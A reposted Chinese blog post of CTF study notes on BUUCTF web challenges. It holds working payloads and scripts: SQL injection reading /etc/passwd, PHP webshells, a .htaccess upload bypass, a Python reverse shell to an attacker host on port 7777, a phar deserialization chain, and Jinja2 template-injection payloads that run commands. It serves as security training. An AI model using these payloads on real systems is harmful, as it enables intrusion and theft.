【web-ctf】ctf_BUUCTF_web(2)

news2025/1/10 12:37:37

文章目录

  • BUUCTF_web
    • SQL注入
      • 1. [RCTF2015]EasySQL
      • 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk
      • 3. [CISCN2019 总决赛 Day2 Web1]Easyweb
      • 4. [GYCTF2020]Ezsqli
      • 5. [网鼎杯 2018]Comment
    • 文件上传漏洞
      • 1. [WUSTCTF2020]CV Maker
      • 2. [NPUCTF2020]ezinclude
      • 3. [SUCTF 2019]EasyWeb
    • 文件下载漏洞
      • 1.[网鼎杯 2020 白虎组]PicDown
    • php反序列化
      • 1. [SWPUCTF 2018]SimplePHP
    • 代码审计
      • [红明谷CTF 2021]write_shell(重要)
      • 2. [HarekazeCTF2019]encode_and_encode
    • jave web token(jwt)
      • 1. [HFCTF2020]EasyLogin
    • 模板漏洞
      • 1. [RootersCTF2019]I_<3_Flask
    • 其他
      • 1. [b01lers2020]Welcome to Earth
    • 总结
      • 1. 过滤

BUUCTF_web

SQL注入

1. [RCTF2015]EasySQL

考点:

  1. 二次注入
  2. 报错注入
  3. 正则表达式查找
  4. reverse函数

学到的知识点:

  1. 二次注入原理
  2. 二次注入的标志:

(1)可以自行注册用户(这是为了注册一些特殊的用户名到数据库中(比如会导致之后报错、修改其他用户的密码等))
(2)可以使用修改密码等(二次注入的利用,本题中是利用了报错注入)

  1. 报错注入:利用正则表达式搜索需要的值,select * from xx where xxx regexp ‘正则表达式’

例如:
查找f开头的值(因为答案是flag{xxxx-xxx}的格式)
asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),1))#

  1. 报错注入:如果报错注入显示不全,可以使用reverse来反转显示

例如:
asd"&&(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)))),1))#

题解,题解2

2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk

考点:

  1. 二次注入
  2. update的sql注入
  3. mysql中的load_file函数用法

学到的知识点:

  1. 二次注入的核心思想:第一次构造payload的时候由于预编译等原因无法直接获取信息,但是由于网站提供其他的功能时(如修改、删除等),用到了第一次构造的payload,导致被注入。

一般利用二次注入的话,都需要多次“注册用户”。

  1. update的注入方法:

原sql语句:update user set address=‘xx’, old_address=‘xx’ where user_id=‘xx’;
令old_address的xx=',`address`=database()#
sql语句变为:update user set address=‘xx’, old_address=‘’,`address`=database()# where user_id=‘xx’;
:update user set `address`=database()
然后再去用select语句访问address就可以得到database()了。

  1. MySQL的LOAD_FILE(file_name)函数:读取一个文件并将其内容作为字符串返回,如读取flag文件等

user_name=ez4&phone=ez4&address=',`address`=(select(load_file(“/flag.txt”)))#

题解(基于查找的方法,即上面update注入方法中提到的),题解2(基于报错的方法,另外一种update注入方法)

3. [CISCN2019 总决赛 Day2 Web1]Easyweb

学到的知识点:

  1. 单引号的绕过:可以使用转义字符\来绕过,一般会给两个参数,用第二个参数来盲注。
  2. addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串。

预定义字符:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL
  1. JFIF:一种图片格式,全称(JPEG File Interchange Format)。如果盲注时,页面返回了图片,可以用burpsuite抓包,看看返回图片的类型,比如这道题就是JFIF,所以这就有了盲注成功的依据,那就是

if “JFIF” in r.text

  1. 如果发现上传文件时,无论上传什么格式的文件,最后都是显示上传了一个php文件,那么可以尝试将一句话木马放在上传的文件名。(因为很有可能是将上传的文件名存入了预定义好的php文件的内容里面了)

题解

4. [GYCTF2020]Ezsqli

考点:

  1. information.schema.tables的替代表
  2. 无列名注入
  3. 布尔盲注

学到的知识点:

  1. sys.x$schema_flattened_keys和sys.schema_table_statistics_with_buffer可以替换information_schema.tables,这是有关bypass information_schema的一些方法
  2. 无列名注入:
    payload:1^((字段1,字段2,…)>(select * from 目标表))

注意点:前面的字段 数量 和 位置 要和后面一致
下面给出无列名注入的脚本:

import requests
import time
url = '网址'

payload_flag = '1^((1,\'{}\')>(select * 表名))'
flag = ''
for i in range(1, 100):
    time.sleep(0.3)#这里要sleep一下,不然太快了会乱码,本人测试后0.3正好能出结果
    low = 32
    high = 128
    mid = (low + high) // 2
    while (low < high):
        k = flag + chr(mid)
        payload = payload_flag.format(k)
        data = {"id": payload}
        print(low,high,mid,":")
        r = requests.post(url=url, data=data)
        if 'Nu1L' in r.text:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2
    if mid == 33: # mid in [32,128)
        break
    flag += chr(mid - 1) # mid是刚好大于正确flag的值,mid-1才是等于正确flag的值
    print(flag.lower())  # 因为出来的flag是大写,这边全部转为小写

print(flag.lower())

题解1(博客底下的注意点写的很好),题解2(脚本写的比较好)

5. [网鼎杯 2018]Comment

考点:

  1. 弱口令爆破
  2. git泄露、git恢复
  3. sql二次注入

学到的知识点:

  1. sql二次注入的特征:

(1)网站有可以插入的地方,比如留言板之类的
(2)会有一次插入数据的sql语句执行
(3)取出第一次插入的数据时会导致当前sql语句的含义发生变化

  1. sql中的多行注释为/**/
  2. select load_file(‘文件绝对路径’)这条sql语句可以读取文件信息,常见的比如:
  • 读/etc/init.d下的东西,这里有配置文件路径
    select 1,2,load_file(‘/etc/init.d/httpd’)
  • 得到web安装路径
    select 1,2,load_file(‘/etc/apache/conf/httpd.conf’)
  • 读取密码文件
    select 1,2,load_file(‘var/www/html/xxx.com/php/conn.inc.php’)
  • 读取系统所有用户密码
    select (load_file(‘/etc/passwd’))
  • 当文件过大无法读取时,可以将其输出为16进制编码:
    select hex(load_file(“/etc/passwd”))
    16进制在线转换器
  1. 每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。路径为:/home/username/.bash_history
  2. .DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。
  3. git命令
  • 查看之前提交的版本:git log --all
  • 恢复之前的版本:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

题解

文件上传漏洞

1. [WUSTCTF2020]CV Maker

考点:

  1. 文件上传漏洞绕过文件头检查方法
  2. 在网页源代码中查找上传文件的路径

学到的知识点:

  1. exif_imagetype函数:读取一个图像的第一个字节并检查其签名。

绕过方法:给文件加一个图像的头即可。gif文件就是GIF89a

  1. 查找上传文件路径的方法:如果上传的文件在页面上有显示,可以按F12打开开发者工具,选中该位置,看该标签的src属性

题解

2. [NPUCTF2020]ezinclude

考点:

  1. php7 segment fault特性(CVE-2018-14884)
  2. 文件包含漏洞
  3. 网站目录扫描
  4. POST方法上传文件

学到的知识点:

  1. php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
    使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = "<?php eval($_POST[cmd]);?>"
data={'file': BytesIO(payload.encode())}
url="http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)
  1. GET数据包构造方法:
GET /flflflflag.php?file=/tmp/phppvB8A6 HTTP/1.1
Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81
  1. POST数据包构造方法:
POST /flflflflag.php?file=/tmp/phpaRaCPM HTTP/1.1
Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

整体思路:

  1. 由于flflflflag.php存在文件包含漏洞,并且dir.php可以扫描/tmp目录,因此可以利用CVE-2018-14884漏洞。
  2. 使用POST方式上传一个一句话木马文件,该文件会存放到/tmp目录下
  3. 访问dir.php文件,扫描一下/tmp目录,获得上传的木马文件的文件名
  4. 再利用flflflflag.php中的文件包含漏洞包含该文件,这样就可以执行该木马文件

题解

3. [SUCTF 2019]EasyWeb

思路:

  1. 首先观察源代码,发现存在危险函数eval,然后再看上面存在一个get_the_flag函数,可以想到,使用eval来执行这个函数来得到flag
  2. 为了得到eval(get_the_flag()),我们要让$hhh=get_the_flag(),但是源码中对$hhh进行了限制:

(1)首先长度不能超过18
(2)不能是数字,不能是字母,也不能是它规定的一些特殊字符
(3)字符种类不能超过12种

  1. 上面的限制中最难绕过的就是第2条,这里有包括绕过无数字无字母限制的方法。再考虑到第1条和第3条限制,我们不能简单的讲get_the_flag直接进行异或绕过,这里使用这种方式传参?_=${_GET}{%A0}();&%A0=get_the_flag,这样一来,$hhh=${_GET}{%A0}(),由于_GET只有四个字符,异或之后占9个字符(算上^符号),这样数来刚好是17个字符。异或之后字符种类也没超过12种。按照上面的方法构造脚本:
<?php
$l = "";
$r = "";
$argv = str_split("_GET");  ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);    ##进行异或         
        if($k == $argv[$i]){
        	if($j<16){  ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            
        }
    }}
echo "\{$l`$r\}";  ### 这里的反引号只是用来区分左半边和右半边而已

?>
  1. 得到payload,?_=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
  2. 构造脚本上传文件,这里对上传的文件有三条限制:

(1)后缀不能出现ph字符串(无论大小写)
(2)文本内容中不能出现<?
(3)上传的文件只能是image类型

  1. 第一条能通过上传.htaccess绕过,具体方法请看题解。第二条由于php版本的限制,因此不能使用<script>标签来绕过,因此想到使用编码的方式绕过。第三条只需要在文件头加上image的特殊标志即可。构造脚本:
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337 
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://dfcea339-b6d8-4b48-99ac-9bfaecda5527.node4.buuoj.cn:81//?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
response = requests.post(url=url, files=files)
print(response.text)

files = {'file':('shell.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, files=files)
print(response.text)
  1. 访问上传的文件,并传参?cmd=phpinfo(),从phpinfo()主页可以看到,由于open_basedir的限制,只可以读取/tmp的目录,不可以读取/etc的目录。这里需要绕过open_basedir。
  2. payload1:chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
  3. payload2:chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g'));
  4. 得到了flag

学到的知识点:

  1. 无数字无字母的绕过。正则表达式的切分和匹配:https://hiregex.com/
  2. .htaccess中利用php伪协议进行解码:php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ahhh"
  3. .htaccess在头部定义图片大小来绕过exif_imagetype函数:
#define width 1000
#define height 1000
  1. phpinfo中会记载一些$_SERVER的信息
  2. 如果文件内容被base64编码了,那么使用绕过文件头检查时添加的GIF89a也要在添加两个填充字符,以满足base64编码规则。
  3. open_basedir绕过方法

题解

文件下载漏洞

1.[网鼎杯 2020 白虎组]PicDown

学到的知识点:

  1. 文件下载漏洞或者文件包含漏洞可以读取的文件:
  • /proc/pid/cmdline 是一个只读文件,包含进程的完整命令行信息
  • /proc/pid/cwd 包含了当前进程工作目录的一个链接
  • /proc/pid/environ 包含了可用进程环境变量的列表
  • /proc/pid/exe 包含了正在进程中运行的程序链接
  • /proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接,该目录下文件都以数字作为文件名,因此如果想访问某个文件时,可通过爆破数字的方法访问,例如:/proc/pid/fd/1,/proc/pid/fd/2,…
  • /proc/pid/mem 包含了进程在内存中的内容
  • /proc/pid/stat 包含了进程的状态信息
  • /proc/pid/statm 包含了进程的内存使用信息

注意:一般读取proc/self/…,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/

  1. python反弹shell的方法

攻击者:kali,ip为:192.168.0.4,开放7777端口且没被占用
(1)攻击主机登录:nc -lvp 7777
(2)受害者:python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.0.4’,7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([‘/bin/bash’,‘-i’]);

题解

php反序列化

1. [SWPUCTF 2018]SimplePHP

学到的知识点:

  1. 构造pop链的时候,除了要关注可能存在漏洞的函数,还要关注用户可控的输入在哪。
  • 关注存在漏洞的函数:确定pop链的终点
  • 关注用户可控的输入:确定pop链的起点
  1. 一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在 Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利 用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
    phar反序列化
  2. phar伪协议:
  • 这个参数是就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压。
  • 用法:?file=phar://压缩包/内部文件 phar://xxx.png/shell.php 注意: PHP > =5.3.0 压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用。
  • 步骤: 写一个一句话木马文件shell.php,然后用zip协议压缩为shell.zip,然后将后缀改为png等其他格式。
<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

题解(pop链很清晰,代码有点问题),题解2(代码没问题,如上)

代码审计

[红明谷CTF 2021]write_shell(重要)

考点:

  1. php短标签
  2. php可在反引号``中执行系统命令

学到的知识点:

  1. 一句话木马正则绕过方法:如果源代码中用preg_match限制了php、eval等重要的一句话木马字符串,可以采用php短标签+反引号+命令执行来绕过

例如: <?=`ls\t/`?>、<?=`cat\t/flllllll1112222222lag`?>
其中用了:
(1)php短标签来绕过php的字符串限制
(2)直接用反引号将命令引起来直接执行,绕过了eval、;、_等限制
(3)使用\t绕过了空格限制,还有其他几种绕过命令中空格的方法:
${IFS}、$IFS$9、<、<>、,、%20、%09

该方法的限制:
(1)没有过滤上述方法的相关的字符串,如=
(2)需要将该一句话木马写入php文件中才可执行。本题中使用file_put_contents写入了index.php文件

  1. preg_match一些常规的绕过方法

题解

2. [HarekazeCTF2019]encode_and_encode

考点:

  1. php://input的使用方法
  2. json_decode会将\uxxx(unicode编码)进行转义

学到的知识点:

  1. php://input的用法:
<?php
$a = file_get_contents("php://input");
echo $a;
$b = json_decode($a);
print_r($b);   

在这里插入图片描述

  1. json_decode会将\uxxx(unicode编码)进行转义
<?php
//\u0070\u0068\u0070是php的unicode编码
$body = '{"page":"\u0070\u0068\u0070"}';

echo $body;
$json = json_decode($body,true);
echo "\n";
var_dump($json);

在这里插入图片描述

题解

jave web token(jwt)

1. [HFCTF2020]EasyLogin

学到的知识点:

  1. 网页源码中出现的js文件也可以尝试访问

  2. koa是一个基于Node.js的web开放框架
    在这里插入图片描述

  3. 一般遇到需要权限才能进行访问的题,一般就与jwt有关。

  4. java web token详解

  5. java web token爆破的工具:爆破网站,jwt-crakerjwt攻击工具

  6. java web token一般绕过方法:(1)登陆时抓包(2)将用户名改成admin(3)爆破密钥(4)生成新的token(5)将用户名改成admin,修改token为新生成的oken。然后登陆。

  7. jave web token其他绕过方法,本题就是利用将header中的alg字段改成了none进行了绕过。

题解

模板漏洞

1. [RootersCTF2019]I_❤️_Flask

学到的知识点:

  1. 使用Arjun工具可以爆破网站参数
  2. Flask一般联想到jinja2模板漏洞,测试代码方式为?参数名={{7*'7'}},如果返回7777777,则为jinja2模板
  3. tplmap是专门用于攻击模板漏洞的工具
  4. jinja2常用的一些代码:
  • {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('某文件路径','r').read() }}{% endif %}{% endfor %}
  • {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
  • {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
  • {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
  • <class ‘warnings.catch_warnings’>利用方法
  1. 获取所有继承自object的类,并找到<class ‘warnings.catch_warnings’>的索引值,方法如下:
  • a. 获取变量[]所属的类名 {{[].__class__}}
    页面回显 <type ‘list’>
  • b. 获取list所继承的基类名 {{[].__class__.__base__}}
    页面回显 <type ‘object’>
  • c. 获取所有继承自object的类 {{[].__class__.__base__.__subclasses__()}}
  1. 根据索引值来命令执行
  • {{[].__class__.__base__.__subclasses__()[索引].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('命令').read()")}}
    常用命令有lscat flag.txt
  • <class ‘site._Printer’>利用方法,方法类似于<class ‘warnings.catch_warnings’>
  • {{[].__class__.__base__.__subclasses__()[索引].__init__['__glo'+'bals__']['os'].popen('命令').read()}}

题解(包括目标文件flag.txt查找payload,tplmap使用),题解2(包括最终获取flag.txt的payload)

其他

1. [b01lers2020]Welcome to Earth

学到的知识点:

  1. 网页源代码审计
  2. 后台js代码审计

题解

总结

1. 过滤

  1. sql语句的过滤

    sql语句中一些常用的过滤绕过方法

  2. 代码执行函数和preg_match过滤函数:

    浅谈PHP代码执行中出现过滤限制的绕过执行方法
    常用preg_match绕过方法
    无字母数字webshell总结

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/561827.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

TADK 23.03 release note

主要功能概述&#xff1a; 基于深度学习的应用分类&#xff1a;在原有的基于机器学习的应用分类(AppID)能力基础上&#xff0c;扩展出新的深度学习参考模型和推理引擎。FFEL的raw byte特征提取&#xff1a;增加了流特征提取库(FFEL)对数据包中的raw byte特征提取能力&#xff0…

Meta AI 重磅推出LIMA!媲美GPT-4、无需RLHF就能对齐!

深度学习自然语言处理 原创作者&#xff1a;鸽鸽 昨天Meta AICMU这篇文章一出&#xff0c;twitter都炸了&#xff01; LIMA&#xff0c;只使用1000个精心挑选的样本微调一个 65B LLaMa&#xff0c;无需RLHF&#xff0c;性能媲美甚至优于GPT-4&#xff01; 论文&#xff1a;LIMA…

游戏洞察丨自来水还是井水,后流量时代的私域挑战

流量生意本质上是买卖用户浏览时间的生意&#xff0c;如果用户增长到顶&#xff0c;那就意味着供给到顶。对比 2021 年&#xff0c;2022 年的游戏出海在谷歌和 Facebook 上投入的广告成本几乎翻了一倍。新晋“渠道王者”TikTok 逐渐走进大家的视野。该现象背后的原因在于&#…

解决幂等问题,只需要记住这个口诀!

△Hollis, 一个对Coding有着独特追求的人△ 这是Hollis的第 417 篇原创分享 作者 l Hollis 来源 l Hollis&#xff08;ID&#xff1a;hollischuang&#xff09; 作为开发人员&#xff0c;我们每天都要开发大量的接口&#xff0c;其中包括了读接口和写接口&#xff0c;而对于写接…

将矩阵按指定对角线转化为一个上三角矩阵numpy.triu()方法

【小白从小学Python、C、Java】 【计算机等考500强证书考研】 【Python-数据分析】 将矩阵按指定对角线转化为一个上三角矩阵 numpy.triu() 选择题 关于以下代码说法错误的一项是? import numpy as np a np.array([[1,2],[3,4]]) print("【显示】a\n",a) print(&…

应用程序和 API 攻击呈上升趋势

Akamai Technologies 发布了一份新的互联网现状报告&#xff0c;标题为“突破安全漏洞&#xff1a;针对组织的应用程序和 API 攻击的兴起”。 报告显示&#xff0c;亚太地区和日本&#xff08;APJ&#xff09;的金融服务业仍然是该地区受攻击最严重的行业&#xff0c;Web 应用…

大模型推理性能优化之KV Cache解读

0. 引言 做大模型性能优化的一定对KV Cache不陌生&#xff0c;那么我们对这个技术了解到什么程度呢&#xff1f;请尝试回答如下问题&#xff1a; KV Cache节省了Self-Attention层中哪部分的计算&#xff1f;KV Cache对MLP层的计算量有影响吗&#xff1f;KV Cache对block间的数据…

知识点滴 - 什么是膳食结构

膳食结构是指膳食中各类食物的数量及其在膳食中所占的比重&#xff0c;由于影响膳食结构的这些因素是在逐渐变化的&#xff0c;所以膳食结构不是一成不变的&#xff0c;人们可以通过均衡调节各类食物所占的比重&#xff0c;充分利用食品中的各种营养&#xff0c;达到膳食平衡&a…

适配器模式:代码接口的神奇转换

一、概要 适配器模式&#xff08;Adapter Pattern&#xff09;是一种结构型设计模式&#xff0c;它允许将一个类的接口转换成客户端所期望的另一个接口&#xff0c;使得原本由于接⼝不兼容⽽不能⼀起⼯作的那些类可以⼀起⼯作。通俗来讲&#xff0c;就是通过适配器来连接两个不…

Js 如何实现一个类似 chatGPT 打字机效果

在使用chatGPT的时候,会有一个打字机的效果,以下是分别使用原生Js和Vue实现 原生 JS 实现 如下是示例代码 <!DOCTYPE html> <html><head><meta charset"utf-8"><title>Printer 打字机效果</title><style>* {margin: 0;bor…

记录--使用率比较低的10个Web API

这里给大家分享我在网上总结出来的一些知识&#xff0c;希望对大家有所帮助 avaScript中有些API可能使用率比较低&#xff0c;下面我们逐一介绍它们的用法和使用场景。 至于标题&#xff0c;主要是想让你进来看看&#xff0c;兄弟们别打我&#xff01; Blob API Blob API 用于处…

电脑技巧:CopyQ剪切板增强工具介绍(附下载)

目录 1、软件简介 2、主要功能介绍 3、使用说明 4、总结 今天给大家再分享一款剪切板增强工具——CopyQ&#xff0c;感兴趣的朋友可以下载试一试&#xff01; 1、软件简介 CopyQ 是一款开源的、跨平台剪贴板管理工具&#xff0c;支持 Windows、macOS、Linux&#xff0c;可…

项目中遇到的一些问题总结(十)

nacos保护阈值 Nacos 中的保护阈值&#xff08;Protection Threshold&#xff09;是用来保护服务实例的一种机制。当某个服务实例出现故障或异常时&#xff0c;服务注册中心 Nacos 会通过心跳检测等方式将其从服务列表中移除&#xff0c;以避免客户端继续向其发送请求。但是&a…

在Linux中为Simulink添加ROS自定义消息类型

在Linux中为Simulink添加ROS自定义消息类型 基于Matlab/Simulink的ROS自定义消息类型的添加方法 ROS与Simulink联合仿真(三):自定义Message 1、下载 ROS Toolbox Interface for ROS Custom Messages 将 roscustommsg.mlpkginstall 文件放入 MATLAB 工作空间 双击 roscustommsg…

Nature -- 人类首个 “泛基因组”旨在编目人类遗传多样性

在人类基因组项目发布第一个人类基因组草图的20多年后,研究人员发布了人类“泛基因组”草图——这预示着一种新的参考基因组的出现,它能捕获到更多的人类遗传多样性信息。 泛基因组变异图由两个元素组成:序列图&#xff0c;其ode表示定向DNA链&#xff0c;双向边表示连通性关系…

学系统集成项目管理工程师(中项)系列25_计算机网络知识

1. OSI七层协议 1.1. 物理层 1.1.1. RS232、V.35、RJ-45、FDDI 1.2. 数据链路层 1.2.1. 【21上选17】 1.2.2. IEEE802.3/.2、HDLC、PPP、ATM 1.3. 网络层 1.3.1. IP、ICMP、IGMP、IPX、ARP 1.3.2. 路由选择 1.3.2.1. 【20下选17】 1.4. 传输层 1.4.1. TCP、UDP、SPX…

越小越好: Q8-Chat,在英特尔至强 CPU 上体验高效的生成式 AI

大语言模型 (LLM) 正在席卷整个机器学习世界。得益于其 transformer 架构&#xff0c;LLM 拥有从大量非结构化数据 (如文本、图像、视频或音频) 中学习的不可思议的能力。它们在 多种任务类型 上表现非常出色&#xff0c;无论是文本分类之类的抽取任务 (extractive task) 还是文…

又一批令人惊艳的 AI 工具,诞生了!

公众号关注 “GitHubDaily” 设为 “星标”&#xff0c;每天带你逛 GitHub&#xff01; 自 ChatGPT 发布以后&#xff0c;AIGC 行业的热度也一直在持续发酵。几个月过去了&#xff0c;对比之前&#xff0c;各类 AI 工具的热度不减反增&#xff0c;各行各业的人都早开始拥抱 AIG…

SAP工具箱 MR22自定义BAPI

点击蓝字 关注我们 一 前言 标准事务代码MR22 通过调整金额影响物料的成本价,前台界面中单个凭证中允许输入多行物料, 但是对应的BAPI函数仅支持输入单行物料 BAPI_MATVAL_DEBIT_CREDIT 正常库存BAPI_SALESORDSTCK_DEBIT_CREDIT 销售订单库存 这种情况 婶可忍叔不可忍 (感谢用户…

Python 闭包装饰器和多任务--闭包,装饰器,进程,线程

1.闭包案例 在函数嵌套的前提下&#xff0c;内部函数使用了外部函数的变量&#xff0c;并且外部函数返回了内部函数&#xff0c;我们把这个使用外部函数变量的内部函数称为闭包. 外层函数: config_name(),外层函数中的变量是 name 内层函数: inner(),inner()使用了外层函数的变…